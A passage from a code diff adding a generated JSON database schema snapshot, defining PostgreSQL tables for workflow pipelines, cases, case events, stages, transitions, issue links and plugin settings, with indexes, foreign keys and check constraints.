"primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pipeline_case_events_case_created_idx": { + "name": "pipeline_case_events_case_created_idx", + "columns": [ + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_case_events_company_case_idx": { + "name": "pipeline_case_events_company_case_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "pipeline_case_events_company_id_companies_id_fk": { + "name": "pipeline_case_events_company_id_companies_id_fk", + "tableFrom": "pipeline_case_events", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_case_events_case_id_pipeline_cases_id_fk": { + "name": "pipeline_case_events_case_id_pipeline_cases_id_fk", + "tableFrom": "pipeline_case_events", + "columnsFrom": [ + "case_id" + ], + "tableTo": "pipeline_cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_case_events_actor_agent_id_agents_id_fk": { + "name": "pipeline_case_events_actor_agent_id_agents_id_fk", + "tableFrom": "pipeline_case_events", + "columnsFrom": [ + "actor_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "pipeline_case_events_from_stage_id_pipeline_stages_id_fk": { + "name": "pipeline_case_events_from_stage_id_pipeline_stages_id_fk", + "tableFrom": "pipeline_case_events", + "columnsFrom": [ + "from_stage_id" + ], + "tableTo": "pipeline_stages", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "pipeline_case_events_to_stage_id_pipeline_stages_id_fk": { + "name": "pipeline_case_events_to_stage_id_pipeline_stages_id_fk", + "tableFrom": "pipeline_case_events", + "columnsFrom": [ + "to_stage_id" + ], + "tableTo": "pipeline_stages", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "pipeline_case_events_type_check": { + "name": "pipeline_case_events_type_check", + "value": "\"pipeline_case_events\".\"type\" in (\n 'ingested',\n 'updated',\n 'claimed',\n 'lease_released',\n 'lease_expired',\n 'transitioned',\n 'transition_forced',\n 'transition_suggested',\n 'suggestion_resolved',\n 'review_decided',\n 'conversation_opened',\n 'issue_linked',\n 'issue_unlinked',\n 'automation_executed',\n 'automation_failed',\n 'automation_retry_requested',\n 'automation_effects_retired',\n 'automation_retry_dispatched',\n 'blockers_set',\n 'blockers_resolved',\n 'children_terminal',\n 'upstream_drift',\n 'drift_acknowledged'\n )" + }, + "pipeline_case_events_actor_type_check": { + "name": "pipeline_case_events_actor_type_check", + "value": "\"pipeline_case_events\".\"actor_type\" in ('user', 'agent', 'system')" + }, + "pipeline_case_events_agent_run_check": { + "name": "pipeline_case_events_agent_run_check", + "value": "\"pipeline_case_events\".\"actor_type\" <> 'agent' or \"pipeline_case_events\".\"run_id\" is not null" + } + }, + "isRLSEnabled": false + }, + "public.pipeline_case_issue_links": { + "name": "pipeline_case_issue_links", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "automation_attempt_id": { + "name": "automation_attempt_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "retired_at": { + "name": "retired_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "retired_by_attempt_id": { + "name": "retired_by_attempt_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "retired_reason": { + "name": "retired_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pipeline_case_issue_links_case_issue_uq": { + "name": "pipeline_case_issue_links_case_issue_uq", + "columns": [ + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_case_issue_links_issue_idx": { + "name": "pipeline_case_issue_links_issue_idx", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_case_issue_links_company_case_idx": { + "name": "pipeline_case_issue_links_company_case_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_case_issue_links_automation_attempt_idx": { + "name": "pipeline_case_issue_links_automation_attempt_idx", + "columns": [ + { + "expression": "automation_attempt_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "pipeline_case_issue_links_company_id_companies_id_fk": { + "name": "pipeline_case_issue_links_company_id_companies_id_fk", + "tableFrom": "pipeline_case_issue_links", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_case_issue_links_case_id_pipeline_cases_id_fk": { + "name": "pipeline_case_issue_links_case_id_pipeline_cases_id_fk", + "tableFrom": "pipeline_case_issue_links", + "columnsFrom": [ + "case_id" + ], + "tableTo": "pipeline_cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_case_issue_links_issue_id_issues_id_fk": { + "name": "pipeline_case_issue_links_issue_id_issues_id_fk", + "tableFrom": "pipeline_case_issue_links", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "pipeline_case_issue_links_role_check": { + "name": "pipeline_case_issue_links_role_check", + "value": "\"pipeline_case_issue_links\".\"role\" in ('origin', 'conversation', 'work', 'automation')" + } + }, + "isRLSEnabled": false + }, + "public.pipeline_cases": { + "name": "pipeline_cases", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "pipeline_id": { + "name": "pipeline_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "stage_id": { + "name": "stage_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "case_key": { + "name": "case_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "fields": { + "name": "fields", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "workspace_ref": { + "name": "workspace_ref", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "parent_case_id": { + "name": "parent_case_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "parent_case_version": { + "name": "parent_case_version", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "request_key": { + "name": "request_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "automation_attempt_id": { + "name": "automation_attempt_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "version": { + "name": "version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "pending_suggestion": { + "name": "pending_suggestion", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "lease_owner_type": { + "name": "lease_owner_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lease_agent_id": { + "name": "lease_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "lease_user_id": { + "name": "lease_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lease_token": { + "name": "lease_token", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "lease_expires_at": { + "name": "lease_expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "terminal_kind": { + "name": "terminal_kind", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "terminal_at": { + "name": "terminal_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "retired_at": { + "name": "retired_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "retired_by_attempt_id": { + "name": "retired_by_attempt_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "retired_reason": { + "name": "retired_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "hidden_from_board_at": { + "name": "hidden_from_board_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "child_count": { + "name": "child_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "terminal_child_count": { + "name": "terminal_child_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "origin_run_id": { + "name": "origin_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pipeline_cases_pipeline_case_key_uq": { + "name": "pipeline_cases_pipeline_case_key_uq", + "columns": [ + { + "expression": "pipeline_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_cases_parent_request_key_uq": { + "name": "pipeline_cases_parent_request_key_uq", + "columns": [ + { + "expression": "parent_case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "request_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"pipeline_cases\".\"request_key\" is not null and \"pipeline_cases\".\"retired_at\" is null", + "concurrently": false + }, + "pipeline_cases_company_idx": { + "name": "pipeline_cases_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_cases_pipeline_stage_idx": { + "name": "pipeline_cases_pipeline_stage_idx", + "columns": [ + { + "expression": "pipeline_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "stage_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_cases_parent_idx": { + "name": "pipeline_cases_parent_idx", + "columns": [ + { + "expression": "parent_case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_cases_automation_attempt_idx": { + "name": "pipeline_cases_automation_attempt_idx", + "columns": [ + { + "expression": "automation_attempt_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_cases_retired_idx": { + "name": "pipeline_cases_retired_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "retired_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_cases_lease_expires_idx": { + "name": "pipeline_cases_lease_expires_idx", + "columns": [ + { + "expression": "lease_expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "where": "\"pipeline_cases\".\"lease_expires_at\" is not null", + "concurrently": false + } + }, + "foreignKeys": { + "pipeline_cases_company_id_companies_id_fk": { + "name": "pipeline_cases_company_id_companies_id_fk", + "tableFrom": "pipeline_cases", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_cases_pipeline_id_pipelines_id_fk": { + "name": "pipeline_cases_pipeline_id_pipelines_id_fk", + "tableFrom": "pipeline_cases", + "columnsFrom": [ + "pipeline_id" + ], + "tableTo": "pipelines", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_cases_stage_id_pipeline_stages_id_fk": { + "name": "pipeline_cases_stage_id_pipeline_stages_id_fk", + "tableFrom": "pipeline_cases", + "columnsFrom": [ + "stage_id" + ], + "tableTo": "pipeline_stages", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "pipeline_cases_parent_case_id_pipeline_cases_id_fk": { + "name": "pipeline_cases_parent_case_id_pipeline_cases_id_fk", + "tableFrom": "pipeline_cases", + "columnsFrom": [ + "parent_case_id" + ], + "tableTo": "pipeline_cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "pipeline_cases_lease_agent_id_agents_id_fk": { + "name": "pipeline_cases_lease_agent_id_agents_id_fk", + "tableFrom": "pipeline_cases", + "columnsFrom": [ + "lease_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "pipeline_cases_created_by_agent_id_agents_id_fk": { + "name": "pipeline_cases_created_by_agent_id_agents_id_fk", + "tableFrom": "pipeline_cases", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "pipeline_cases_terminal_kind_check": { + "name": "pipeline_cases_terminal_kind_check", + "value": "\"pipeline_cases\".\"terminal_kind\" is null or \"pipeline_cases\".\"terminal_kind\" in ('done', 'cancelled')" + }, + "pipeline_cases_lease_owner_type_check": { + "name": "pipeline_cases_lease_owner_type_check", + "value": "\"pipeline_cases\".\"lease_owner_type\" is null or \"pipeline_cases\".\"lease_owner_type\" in ('user', 'agent')" + } + }, + "isRLSEnabled": false + }, + "public.pipeline_documents": { + "name": "pipeline_documents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "pipeline_id": { + "name": "pipeline_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pipeline_documents_company_pipeline_key_uq": { + "name": "pipeline_documents_company_pipeline_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "pipeline_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_documents_document_uq": { + "name": "pipeline_documents_document_uq", + "columns": [ + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_documents_company_pipeline_updated_idx": { + "name": "pipeline_documents_company_pipeline_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "pipeline_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "pipeline_documents_company_id_companies_id_fk": { + "name": "pipeline_documents_company_id_companies_id_fk", + "tableFrom": "pipeline_documents", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_documents_pipeline_id_pipelines_id_fk": { + "name": "pipeline_documents_pipeline_id_pipelines_id_fk", + "tableFrom": "pipeline_documents", + "columnsFrom": [ + "pipeline_id" + ], + "tableTo": "pipelines", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_documents_document_id_documents_id_fk": { + "name": "pipeline_documents_document_id_documents_id_fk", + "tableFrom": "pipeline_documents", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pipeline_stages": { + "name": "pipeline_stages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "pipeline_id": { + "name": "pipeline_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "config": { + "name": "config", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pipeline_stages_pipeline_key_uq": { + "name": "pipeline_stages_pipeline_key_uq", + "columns": [ + { + "expression": "pipeline_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_stages_pipeline_position_idx": { + "name": "pipeline_stages_pipeline_position_idx", + "columns": [ + { + "expression": "pipeline_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "pipeline_stages_pipeline_id_pipelines_id_fk": { + "name": "pipeline_stages_pipeline_id_pipelines_id_fk", + "tableFrom": "pipeline_stages", + "columnsFrom": [ + "pipeline_id" + ], + "tableTo": "pipelines", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "pipeline_stages_kind_check": { + "name": "pipeline_stages_kind_check", + "value": "\"pipeline_stages\".\"kind\" in ('working', 'review', 'done', 'cancelled')" + } + }, + "isRLSEnabled": false + }, + "public.pipeline_transitions": { + "name": "pipeline_transitions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "pipeline_id": { + "name": "pipeline_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "from_stage_id": { + "name": "from_stage_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "to_stage_id": { + "name": "to_stage_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pipeline_transitions_pipeline_edge_uq": { + "name": "pipeline_transitions_pipeline_edge_uq", + "columns": [ + { + "expression": "pipeline_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "from_stage_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "to_stage_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_transitions_pipeline_from_idx": { + "name": "pipeline_transitions_pipeline_from_idx", + "columns": [ + { + "expression": "pipeline_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "from_stage_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_transitions_pipeline_to_idx": { + "name": "pipeline_transitions_pipeline_to_idx", + "columns": [ + { + "expression": "pipeline_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "to_stage_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "pipeline_transitions_pipeline_id_pipelines_id_fk": { + "name": "pipeline_transitions_pipeline_id_pipelines_id_fk", + "tableFrom": "pipeline_transitions", + "columnsFrom": [ + "pipeline_id" + ], + "tableTo": "pipelines", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_transitions_from_stage_id_pipeline_stages_id_fk": { + "name": "pipeline_transitions_from_stage_id_pipeline_stages_id_fk", + "tableFrom": "pipeline_transitions", + "columnsFrom": [ + "from_stage_id" + ], + "tableTo": "pipeline_stages", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_transitions_to_stage_id_pipeline_stages_id_fk": { + "name": "pipeline_transitions_to_stage_id_pipeline_stages_id_fk", + "tableFrom": "pipeline_transitions", + "columnsFrom": [ + "to_stage_id" + ], + "tableTo": "pipeline_stages", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pipelines": { + "name": "pipelines", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "enforce_transitions": { + "name": "enforce_transitions", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pipelines_company_key_uq": { + "name": "pipelines_company_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipelines_company_idx": { + "name": "pipelines_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipelines_company_project_idx": { + "name": "pipelines_company_project_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "pipelines_company_id_companies_id_fk": { + "name": "pipelines_company_id_companies_id_fk", + "tableFrom": "pipelines", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipelines_project_id_projects_id_fk": { + "name": "pipelines_project_id_projects_id_fk", + "tableFrom": "pipelines", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "pipelines_created_by_agent_id_agents_id_fk": { + "name": "pipelines_created_by_agent_id_agents_id_fk", + "tableFrom": "pipelines", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugin_company_settings": { + "name": "plugin_company_settings", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "settings_json": { + "name": "settings_json", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "plugin_company_settings_company_idx": { + "name": "plugin_company_settings_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_company_settings_plugin_idx": { + "name": "plugin_company_settings_plugin_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_company_settings_company_plugin_uq": { + "name": "plugin_company_settings_company_plugin_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "plugin_company_settings_company_id_companies_id_fk": { + "name": "plugin_company_settings_company_id_companies_id_fk", + "tableFrom": "plugin_company_settings", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "plugin_company_settings_plugin_id_plugins_id_fk": { + "name": "plugin_company_settings_plugin_id_plugins_id_fk", + "tableFrom": "plugin_company_settings", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugin_config": { + "name": "plugin_config", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": 